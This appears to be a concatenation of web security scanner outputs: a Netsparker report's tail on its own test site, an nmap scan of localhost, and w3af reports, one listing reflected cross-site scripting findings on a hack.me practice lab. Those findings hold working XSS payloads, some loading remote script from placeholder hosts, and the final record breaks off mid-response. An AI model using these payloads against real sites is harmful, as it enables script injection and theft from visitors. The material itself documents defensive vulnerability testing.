6986 <div style="clear: both;">&nbsp;</div>
6987 </li>
6988 <li>
6989 <h2>Tags</h2>
6990 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6991 </li>
6992 <li>
6993 <h2>Inner Pages</h2>
6994 <ul>
6995 <li><a href="artist.php?id=test">Artist Search</a></li>
6996 <li><a href="nslookup.php">Lookup Service</a></li>
6997 </ul>
6998 </li>
6999 <li>
7000 <h2>Links</h2>
7001 <ul>
7002 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
7003 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
7004 </ul>
7005 </li>
7006 </ul>
7007 </div> <!-- end #sidebar -->
7008 <div style="clear: both;">&nbsp;</div>
7009 </div>
7010 </div>
7011 </div>
7012 <!-- end #page -->
7013 </div>
7014 v
7015 <div id="footer">
7016 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
7017 </div> <!-- end #footer -->
7018 </body>
7019 </html>
7020 ]]></rawresponse>
7021 <extrainformation>
7022 <info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\hello.php]]></info>
7023 </extrainformation>
7024
7025 <classification>
7026 <OWASP></OWASP>
7027 <WASC>13</WASC>
7028 <CWE>200</CWE>
7029 <CAPEC>118</CAPEC>
7030 <PCI>6.5.6</PCI>
7031 <PCI2></PCI2>
7032 </classification>
7033
7034 </vulnerability>
7035 <vulnerability confirmed="False">
7036 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
7037 <type>PossibleInternalWindowsPathLeakage</type>
7038 <severity>Information</severity>
7039 <certainty>75</certainty>
7040
7041 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
7042 Cache-Control: no-cache
7043 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
7044 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
7045 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
7046 X-Scanner: Netsparker
7047 Accept-Language: en-us,en;q=0.5
7048 Host: php.testsparker.com
7049 Accept-Encoding: gzip, deflate
7050
7051 ]]></rawrequest>
7052 <rawresponse><![CDATA[HTTP/1.1 200 OK
7053 Date: Fri, 29 Nov 2013 11:25:51 GMT
7054 Server: Apache/2.2.8 (Win32) PHP/5.2.6
7055 X-Powered-By: PHP/5.2.6
7056 Content-Length: 3327
7057 Content-Type: text/html
7058
7059
7060 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
7061 <html xmlns="http://www.w3.org/1999/xhtml">
7062 <head>
7063 <meta name="keywords" content="" />
7064 <meta name="description" content="" />
7065 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
7066 <title>Netsparker Test Web Site - PHP</title>
7067 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
7068 </head><body>
7069 <div id="wrapper">
7070
7071 <div id="menu">
7072 <ul>
7073 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
7074 <li><a href="hello.php?name=Visitor">Hello</a></li>
7075 <li><a href="products.php?pro=url">Products</a></li>
7076 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
7077 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
7078 <li><a href="auth/">Login</a></li>
7079 </ul>
7080 </div>
7081 <!-- end #menu -->
7082 <div id="header">
7083
7084 </div>
7085 <!-- end #header -->
7086 <div id="page">
7087 <div id="page-bgtop">
7088 <div id="page-bgbtm">
7089 <div id="content">
7090 <div class="post">
7091
7092 <div class="entry">
7093 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
7094 <p>This is a test and demonstration site for Netsparker , Next Generation Web
7095 Application Security Scanner.
7096 <p>
7097 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
7098 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
7099 </p>
7100
7101 </div>
7102 </div>
7103 <div style="clear: both;">&nbsp;</div>
7104 </div>
7105 <!-- end #content -->
7106
7107 <div id="sidebar">
7108 <ul>
7109 <li>
7110 <div id="search" >
7111 <form method="get" action="artist.php">
7112 <div>
7113 <input type="text" name="s" id="search-text" value="" />
7114 <input type="submit" id="search-submit" value="GO" />
7115 </div>
7116 </form>
7117
7118 </div>
7119 <div style="clear: both;">&nbsp;</div>
7120 </li>
7121 <li>
7122 <h2>Tags</h2>
7123 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
7124 </li>
7125 <li>
7126 <h2>Inner Pages</h2>
7127 <ul>
7128 <li><a href="artist.php?id=test">Artist Search</a></li>
7129 <li><a href="nslookup.php">Lookup Service</a></li>
7130 </ul>
7131 </li>
7132 <li>
7133 <h2>Links</h2>
7134 <ul>
7135 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
7136 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
7137 </ul>
7138 </li>
7139 </ul>
7140 </div> <!-- end #sidebar -->
7141 <div style="clear: both;">&nbsp;</div>
7142 </div>
7143 </div>
7144 </div>
7145
7146 <br />
7147 <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
7148 asd <!-- process.php load pages from path of the website. -->
7149 <!-- FIXME: File / directory permissions -->
7150 <!-- end #page -->
7151 </div>
7152
7153 <div id="footer">
7154 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
7155 </div> <!-- end #footer -->
7156 </body>
7157 </html>
7158 ]]></rawresponse>
7159 <extrainformation>
7160 <info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\Generics\about.nsp]]></info>
7161 </extrainformation>
7162
7163 <classification>
7164 <OWASP></OWASP>
7165 <WASC>13</WASC>
7166 <CWE>200</CWE>
7167 <CAPEC>118</CAPEC>
7168 <PCI>6.5.6</PCI>
7169 <PCI2></PCI2>
7170 </classification>
7171
7172 </vulnerability>
7173
7174 </netsparker>
0 <?xml version="1.0"?>
1 <?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
2 <!-- Nmap 6.40 scan initiated Sat Mar 29 11:46:56 2014 as: nmap -oX a.xml 127.0.0.1 -->
3 <nmaprun scanner="nmap" args="nmap -oX a.xml 127.0.0.1" start="1396104416" startstr="Sat Mar 29 11:46:56 2014" version="6.40" xmloutputversion="1.04">
4 <scaninfo type="connect" protocol="tcp" numservices="1000" services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"/>
5 <verbose level="0"/>
6 <debugging level="0"/>
7 <host starttime="1396104416" endtime="1396104416"><status state="up" reason="conn-refused" reason_ttl="0"/>
8 <address addr="127.0.0.1" addrtype="ipv4"/>
9 <hostnames>
10 <hostname name="localhost.localdomain" type="PTR"/>
11 </hostnames>
12 <ports><extraports state="closed" count="997">
13 <extrareasons reason="conn-refused" count="997"/>
14 </extraports>
15 <port protocol="tcp" portid="111"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="rpcbind" method="table" conf="3"/></port>
16 <port protocol="tcp" portid="2049"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="nfs" method="table" conf="3"/></port>
17 <port protocol="tcp" portid="5432"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="postgresql" method="table" conf="3"/></port>
18 </ports>
19 <times srtt="344" rttvar="93" to="100000"/>
20 </host>
21 <runstats><finished time="1396104416" timestr="Sat Mar 29 11:46:56 2014" elapsed="0.05" summary="Nmap done at Sat Mar 29 11:46:56 2014; 1 IP address (1 host up) scanned in 0.05 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
22 </runstats>
23 </nmaprun>
0 <?xml version="1.0" encoding="UTF-8"?>
1 <w3afrun start="1414516610" startstr="Tue Oct 28 13:16:50 2014" xmloutputversion="2.0">
2 <w3af-version>w3af - Web Application Attack and Audit Framework
3 Version: 1.6.0.3
4 Distribution: Kali Linux
5 Author: Andres Riancho and the w3af team.</w3af-version>
6 <scaninfo target="http://localhost:5984/_utils">
7 <audit/>
8 <infrastructure>
9 <plugin name="allowed_methods"/>
10 </infrastructure>
11 <bruteforce/>
12 <grep/>
13 <evasion/>
14 <output>
15 <plugin name="xml_file"/>
16 <plugin name="console"/>
17 </output>
18 <mangle/>
19 <crawl/>
20 <auth/>
21 </scaninfo>
22 <information id="[32, 39, 52]" name="Allowed HTTP methods" plugin="allowed_methods" url="http://localhost:5984/">
23 <description>The URL &quot;http://localhost:5984/&quot; has the following enabled HTTP methods: GET, GET, HEAD, HEAD. This information was found in the requests with ids 32, 39 and 52.</description>
24 <http-transactions>
25 <http-transaction id="32">
26 <httprequest>
27 <status>OPTIONS http://localhost:5984/ HTTP/1.1</status>
28 <headers>
29 <header content="localhost:5984" field="Host"/>
30 <header content="gzip, deflate" field="Accept-encoding"/>
31 <header content="*/*" field="Accept"/>
32 <header content="w3af.org" field="User-agent"/>
33 </headers>
34 </httprequest>
35 <httpresponse id="32">
36 <status>HTTP/1.1 405 Method Not Allowed</status>
37 <headers>
38 <header content="64" field="content-length"/>
39 <header content="CouchDB/1.2.0 (Erlang OTP/R15B01)" field="server"/>
40 <header content="GET,HEAD" field="allow"/>
41 <header content="must-revalidate" field="cache-control"/>
42 <header content="Tue, 28 Oct 2014 17:16:51 GMT" field="date"/>
43 <header content="text/plain; charset=utf-8" field="content-type"/>
44 </headers>
45 <body content-encoding="text">{&quot;error&quot;:&quot;method_not_allowed&quot;,&quot;reason&quot;:&quot;Only GET,HEAD allowed&quot;}
46 </body>
47 </httpresponse>
48 </http-transaction>
49 <http-transaction id="39">
50 <httprequest>
51 <status>HEAD http://localhost:5984/ HTTP/1.1</status>
52 <headers>
53 <header content="localhost:5984" field="Host"/>
54 <header content="gzip, deflate" field="Accept-encoding"/>
55 <header content="*/*" field="Accept"/>
56 <header content="w3af.org" field="User-agent"/>
57 </headers>
58 </httprequest>
59 <httpresponse id="39">
60 <status>HTTP/1.1 200 OK</status>
61 <headers>
62 <header content="Tue, 28 Oct 2014 17:16:51 GMT" field="date"/>
63 <header content="40" field="content-length"/>
64 <header content="must-revalidate" field="cache-control"/>
65 <header content="text/plain; charset=utf-8" field="content-type"/>
66 <header content="CouchDB/1.2.0 (Erlang OTP/R15B01)" field="server"/>
67 </headers>
68 </httpresponse>
69 </http-transaction>
70 <http-transaction id="52">
71 <httprequest>
72 <status>GET http://localhost:5984/ HTTP/1.1</status>
73 <headers>
74 <header content="localhost:5984" field="Host"/>
75 <header content="gzip, deflate" field="Accept-encoding"/>
76 <header content="*/*" field="Accept"/>
77 <header content="w3af.org" field="User-agent"/>
78 </headers>
79 </httprequest>
80 <httpresponse id="52">
81 <status>HTTP/1.1 200 OK</status>
82 <headers>
83 <header content="Tue, 28 Oct 2014 17:16:51 GMT" field="date"/>
84 <header content="40" field="content-length"/>
85 <header content="must-revalidate" field="cache-control"/>
86 <header content="text/plain; charset=utf-8" field="content-type"/>
87 <header content="CouchDB/1.2.0 (Erlang OTP/R15B01)" field="server"/>
88 </headers>
89 <body content-encoding="text">{&quot;couchdb&quot;:&quot;Welcome&quot;,&quot;version&quot;:&quot;1.2.0&quot;}
90 </body>
91 </httpresponse>
92 </http-transaction>
93 </http-transactions>
94 </information>
95 </w3afrun>
0 <?xml version="1.0" encoding="UTF-8"?>
1 <w3afrun start="1382975546" startstr="Mon Oct 28 12:52:26 2013" xmloutputversion="2.0">
2 <w3af-version>w3af - Web Application Attack and Audit Framework
3 Version: 1.2
4 Revision: unknown
5 Distribution: Debian
6 Author: Andres Riancho and the w3af team.</w3af-version>
7 <scaninfo target="http://s16620-101136-yly.sipontum.hack.me/">
8 <audit>
9 <plugin name="sqli"/>
10 <plugin name="xss">
11 <config parameter="checkStored" value="True"/>
12 <config parameter="numberOfChecks" value="3"/>
13 </plugin>
14 </audit>
15 <bruteforce/>
16 <grep>
17 <plugin name="dotNetEventValidation"/>
18 <plugin name="pathDisclosure"/>
19 <plugin name="codeDisclosure"/>
20 <plugin name="blankBody"/>
21 <plugin name="metaTags">
22 <config parameter="search404" value="False"/>
23 </plugin>
24 <plugin name="motw">
25 <config parameter="withoutMOTW" value="False"/>
26 </plugin>
27 <plugin name="privateIP"/>
28 <plugin name="directoryIndexing"/>
29 <plugin name="strangeReason"/>
30 <plugin name="ssn"/>
31 <plugin name="fileUpload"/>
32 <plugin name="strangeHTTPCode"/>
33 <plugin name="svnUsers"/>
34 <plugin name="hashFind"/>
35 <plugin name="getMails">
36 <config parameter="onlyTargetDomain" value="True"/>
37 </plugin>
38 <plugin name="httpAuthDetect"/>
39 <plugin name="wsdlGreper"/>
40 <plugin name="formAutocomplete"/>
41 <plugin name="passwordProfiling"/>
42 <plugin name="domXss">
43 <config parameter="simpleGrep" value="False"/>
44 <config parameter="smartGrep" value="True"/>
45 </plugin>
46 <plugin name="ajax"/>
47 <plugin name="findComments">
48 <config parameter="search404" value="False"/>
49 </plugin>
50 <plugin name="httpInBody"/>
51 <plugin name="strangeHeaders"/>
52 <plugin name="lang"/>
53 <plugin name="errorPages"/>
54 <plugin name="collectCookies"/>
55 <plugin name="strangeParameters"/>
56 <plugin name="error500"/>
57 <plugin name="objects"/>
58 <plugin name="creditCards"/>
59 <plugin name="oracle"/>
60 <plugin name="feeds"/>
61 </grep>
62 <evasion/>
63 <output>
64 <plugin name="xmlFile">
65 <config parameter="fileName" value="report-w3af.xml"/>
66 </plugin>
67 <plugin name="console">
68 <config parameter="verbose" value="False"/>
69 </plugin>
70 <plugin name="gtkOutput"/>
71 </output>
72 <mangle/>
73 <auth/>
74 <discovery>
75 <plugin name="webSpider">
76 <config parameter="onlyForward" value="False"/>
77 <config parameter="followRegex" value=".*"/>
78 <config parameter="ignoreRegex" value=""/>
79 </plugin>
80 </discovery>
81 </scaninfo>
82 <vulnerability id="[183]" method="GET" name="Cross site scripting vulnerability" plugin="xss" severity="Medium" url="http://s16620-101136-yly.sipontum.hack.me/chainedxss/search.php" var="q">
83 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/chainedxss/search.php&quot;, using HTTP method GET. The sent data was: &quot;q=%3CSCrIPT%3Ealert%28%22GlSV%22%29%3C%2FSCrIPT%3E&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 183.</description>
84 <http-transactions>
85 <http-transaction id="183">
86 <httprequest>
87 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/search.php?q=%3CSCrIPT%3Ealert%28%22GlSV%22%29%3C%2FSCrIPT%3E HTTP/1.1</status>
88 <headers>
89 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
90 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
91 <header content="gzip" field="Accept-encoding"/>
92 <header content="*/*" field="Accept"/>
93 <header content="w3af.sourceforge.net" field="User-agent"/>
94 </headers>
95 </httprequest>
96 <httpresponse>
97 <status>HTTP/1.1 200 OK</status>
98 <headers>
99 <header content="Mon, 28 Oct 2013 15:52:55 GMT" field="Date"/>
100 <header content="366" field="Content-Length"/>
101 <header content="Microsoft-IIS/7.5" field="Server"/>
102 <header content="text/html" field="Content-Type"/>
103 <header content="ASP.NET" field="X-Powered-By"/>
104 </headers>
105 <body content-encoding="text">&lt;!DOCTYPE html&gt;
106 &lt;html&gt;
107 &lt;head&gt;
108 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
109 &lt;title&gt;XSSed&lt;/title&gt;
110 &lt;/head&gt;
111 &lt;body&gt;Here are the results for &lt;SCrIPT&gt;alert(&quot;GlSV&quot;)&lt;/SCrIPT&gt;:
112 &lt;ol&gt;
113 &lt;li&gt;&lt;a href=&quot;account.php?user=neo&quot;&gt;My Account&lt;/a&gt; - account.php (0.5KB)&lt;/a&gt;&lt;/li&gt;
114 &lt;li&gt;&lt;a href=&quot;index.htm&quot;&gt;Home&lt;/a&gt; - index.htm (0.4KB)&lt;/a&gt;&lt;/li&gt;
115 &lt;/ol&gt;
116 &lt;/body&gt;
117 &lt;/html&gt;</body>
118 </httpresponse>
119 </http-transaction>
120 </http-transactions>
121 </vulnerability>
122 <vulnerability id="[225]" method="GET" name="Cross site scripting vulnerability" plugin="xss" severity="Medium" url="http://s16620-101136-yly.sipontum.hack.me/filteredxss/vulnerable.php" var="id">
123 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/filteredxss/vulnerable.php&quot;, using HTTP method GET. The sent data was: &quot;creditcard=&amp;id=%3CScRIPT%3Ea%3D%2FnlkK%2F%0Aalert%28a.source%29%3C%2FSCRiPT%3E&quot;. The modified parameter was &quot;id&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 225.</description>
124 <http-transactions>
125 <http-transaction id="225">
126 <httprequest>
127 <status>GET http://s16620-101136-yly.sipontum.hack.me/filteredxss/vulnerable.php?creditcard=&amp;id=%3CScRIPT%3Ea%3D%2FnlkK%2F%0Aalert%28a.source%29%3C%2FSCRiPT%3E HTTP/1.1</status>
128 <headers>
129 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
130 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
131 <header content="gzip" field="Accept-encoding"/>
132 <header content="*/*" field="Accept"/>
133 <header content="w3af.sourceforge.net" field="User-agent"/>
134 </headers>
135 </httprequest>
136 <httpresponse>
137 <status>HTTP/1.1 200 OK</status>
138 <headers>
139 <header content="Mon, 28 Oct 2013 15:53:00 GMT" field="Date"/>
140 <header content="347" field="Content-Length"/>
141 <header content="Microsoft-IIS/7.5" field="Server"/>
142 <header content="text/html" field="Content-Type"/>
143 <header content="ASP.NET" field="X-Powered-By"/>
144 </headers>
145 <body content-encoding="text">&lt;!DOCTYPE html&gt;
146 &lt;html&gt;
147 &lt;head&gt;
148 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
149 &lt;title&gt;XSSed&lt;/title&gt;
150 &lt;/head&gt;
151 &lt;body&gt;&lt;h1&gt;Please Confirm Your Order&lt;/h1&gt;
152 &lt;div id=&quot;creditcard&quot;&gt;&lt;/div&gt;
153
154 &lt;script type=&quot;text/javascript&quot;&gt;
155 var q = &quot;&lt;ScRIPT&gt;a=/nlkK/
156 alert(a.source)&lt;/SCRiPT&gt;&quot;;
157 document.write(&quot;&lt;!-- &quot; + q + &quot;--&gt;&quot;);
158 &lt;/script&gt;
159 &lt;/body&gt;
160 &lt;/html&gt;</body>
161 </httpresponse>
162 </http-transaction>
163 </http-transactions>
164 </vulnerability>
165 <vulnerability id="[242]" method="GET" name="Cross site scripting vulnerability" plugin="xss" severity="Medium" url="http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php" var="user">
166 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php&quot;, using HTTP method GET. The sent data was: &quot;user=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2F9Mqz%2Fx.js%3E%3C%2FScRIPt%3E&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 242.</description>
167 <http-transactions>
168 <http-transaction id="242">
169 <httprequest>
170 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/account.php?user=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2F9Mqz%2Fx.js%3E%3C%2FScRIPt%3E HTTP/1.1</status>
171 <headers>
172 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
173 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
174 <header content="gzip" field="Accept-encoding"/>
175 <header content="*/*" field="Accept"/>
176 <header content="w3af.sourceforge.net" field="User-agent"/>
177 </headers>
178 </httprequest>
179 <httpresponse>
180 <status>HTTP/1.1 200 OK</status>
181 <headers>
182 <header content="Mon, 28 Oct 2013 15:53:03 GMT" field="Date"/>
183 <header content="588" field="Content-Length"/>
184 <header content="Microsoft-IIS/7.5" field="Server"/>
185 <header content="text/html" field="Content-Type"/>
186 <header content="ASP.NET" field="X-Powered-By"/>
187 </headers>
188 <body content-encoding="text">&lt;!DOCTYPE html&gt;
189 &lt;html&gt;
190 &lt;head&gt;
191 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
192 &lt;title&gt;XSSed&lt;/title&gt;
193 &lt;/head&gt;
194 &lt;body&gt; &lt;a href=&quot;index.htm&quot;&gt;Return Home&lt;/a&gt;
195 &lt;h1&gt;My Account&lt;/h1&gt;
196 &lt;pre&gt;
197 Username: &lt;ScRIPt/XSS SrC=http://9Mqz/x.js&gt;&lt;/ScRIPt&gt;
198 Email: [email protected]
199 Registered: June 21st, 2011&lt;/pre&gt;
200
201 &lt;h2&gt;Change Password&lt;/h2&gt;
202 &lt;pre&gt;
203 &lt;form action=&quot;setaccount.php&quot;&gt;
204 Password: &lt;input type=&quot;password&quot; id=&quot;pass1&quot; name=&quot;pass1&quot; /&gt;&lt;br /&gt;
205 Repeat it:&lt;input type=&quot;password&quot; id=&quot;pass2&quot; name=&quot;pass2&quot; /&gt;&lt;br /&gt;
206 &lt;input type=&quot;submit&quot; /&gt;
207 &lt;/form&gt;
208 &lt;/pre&gt;
209
210
211 &lt;/body&gt;
212 &lt;/html&gt;</body>
213 </httpresponse>
214 </http-transaction>
215 </http-transactions>
216 </vulnerability>
217 <vulnerability id="[276]" method="GET" name="Cross site scripting vulnerability" plugin="xss" severity="Medium" url="http://s16620-101136-yly.sipontum.hack.me/javascriptxss/vulnerable.php" var="q">
218 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/javascriptxss/vulnerable.php&quot;, using HTTP method GET. The sent data was: &quot;q=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2FT3mz%2Fx.js%3E%3C%2FScRIPt%3E&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 276.</description>
219 <http-transactions>
220 <http-transaction id="276">
221 <httprequest>
222 <status>GET http://s16620-101136-yly.sipontum.hack.me/javascriptxss/vulnerable.php?q=%3CScRIPt%2FXSS%20SrC%3Dhttp%3A%2F%2FT3mz%2Fx.js%3E%3C%2FScRIPt%3E HTTP/1.1</status>
223 <headers>
224 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
225 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
226 <header content="gzip" field="Accept-encoding"/>
227 <header content="*/*" field="Accept"/>
228 <header content="w3af.sourceforge.net" field="User-agent"/>
229 </headers>
230 </httprequest>
231 <httpresponse>
232 <status>HTTP/1.1 200 OK</status>
233 <headers>
234 <header content="Mon, 28 Oct 2013 15:53:08 GMT" field="Date"/>
235 <header content="370" field="Content-Length"/>
236 <header content="Microsoft-IIS/7.5" field="Server"/>
237 <header content="text/html" field="Content-Type"/>
238 <header content="ASP.NET" field="X-Powered-By"/>
239 </headers>
240 <body content-encoding="text">&lt;!DOCTYPE html&gt;
241 &lt;html&gt;
242 &lt;head&gt;
243 &lt;link rel=&quot;stylesheet&quot; href=&quot;../global.css&quot; type=&quot;text/css&quot; /&gt;
244 &lt;title&gt;XSSed&lt;/title&gt;
245 &lt;/head&gt;
246 &lt;body&gt;&lt;script type=&quot;text/javascript&quot;&gt;
247 var search_term = &quot; &lt;ScRIPt/XSS SrC=http://T3mz/x.js&gt;&lt;/ScRIPt&gt;&quot;;
248 &lt;/script&gt;
249
250 Sorry, we could not find any results for:
251 &lt;script type=&quot;text/javascript&quot;&gt;document.write(search_term);&lt;/script&gt;
252 &lt;/body&gt;
253 &lt;/html&gt;</body>
254 </httpresponse>
255 </http-transaction>
256 </http-transactions>
257 </vulnerability>
258 <information id="[183]" name="Cross site scripting vulnerability" plugin="xss" url="http://s16620-101136-yly.sipontum.hack.me/chainedxss/search.php">
259 <description>Cross Site Scripting was found at: &quot;http://s16620-101136-yly.sipontum.hack.me/chainedxss/search.php&quot;, using HTTP method GET. The sent data was: &quot;q=%3CSCrIPT%3Ealert%28%22GlSV%22%29%3C%2FSCrIPT%3E&quot;. This vulnerability affects ALL browsers. This vulnerability was found in the request with id 183.</description>
260 <http-transactions>
261 <http-transaction id="183">
262 <httprequest>
263 <status>GET http://s16620-101136-yly.sipontum.hack.me/chainedxss/search.php?q=%3CSCrIPT%3Ealert%28%22GlSV%22%29%3C%2FSCrIPT%3E HTTP/1.1</status>
264 <headers>
265 <header content="s16620-101136-yly.sipontum.hack.me" field="Host"/>
266 <header content="http://s16620-101136-yly.sipontum.hack.me/" field="Referer"/>
267 <header content="gzip" field="Accept-encoding"/>
268 <header content="*/*" field="Accept"/>
269 <header content="w3af.sourceforge.net" field="User-agent"/>
270 </headers>
271 </httprequest>
272 <httpresponse id="183">
273 <status>HTTP/1.1 200 OK</status>
274 <headers>
275 <header content="Mon, 28 Oct 2013 15:52:55 GMT" field="Date"/>
276 <header content="366" field="Content-Length"/>
277 <header content="Microsoft-IIS/7.5" field="Server"/>
278 <header content="text/html" field="Content-Type"/>
279 <header content="ASP.NET" field="X-Powered-By"/>
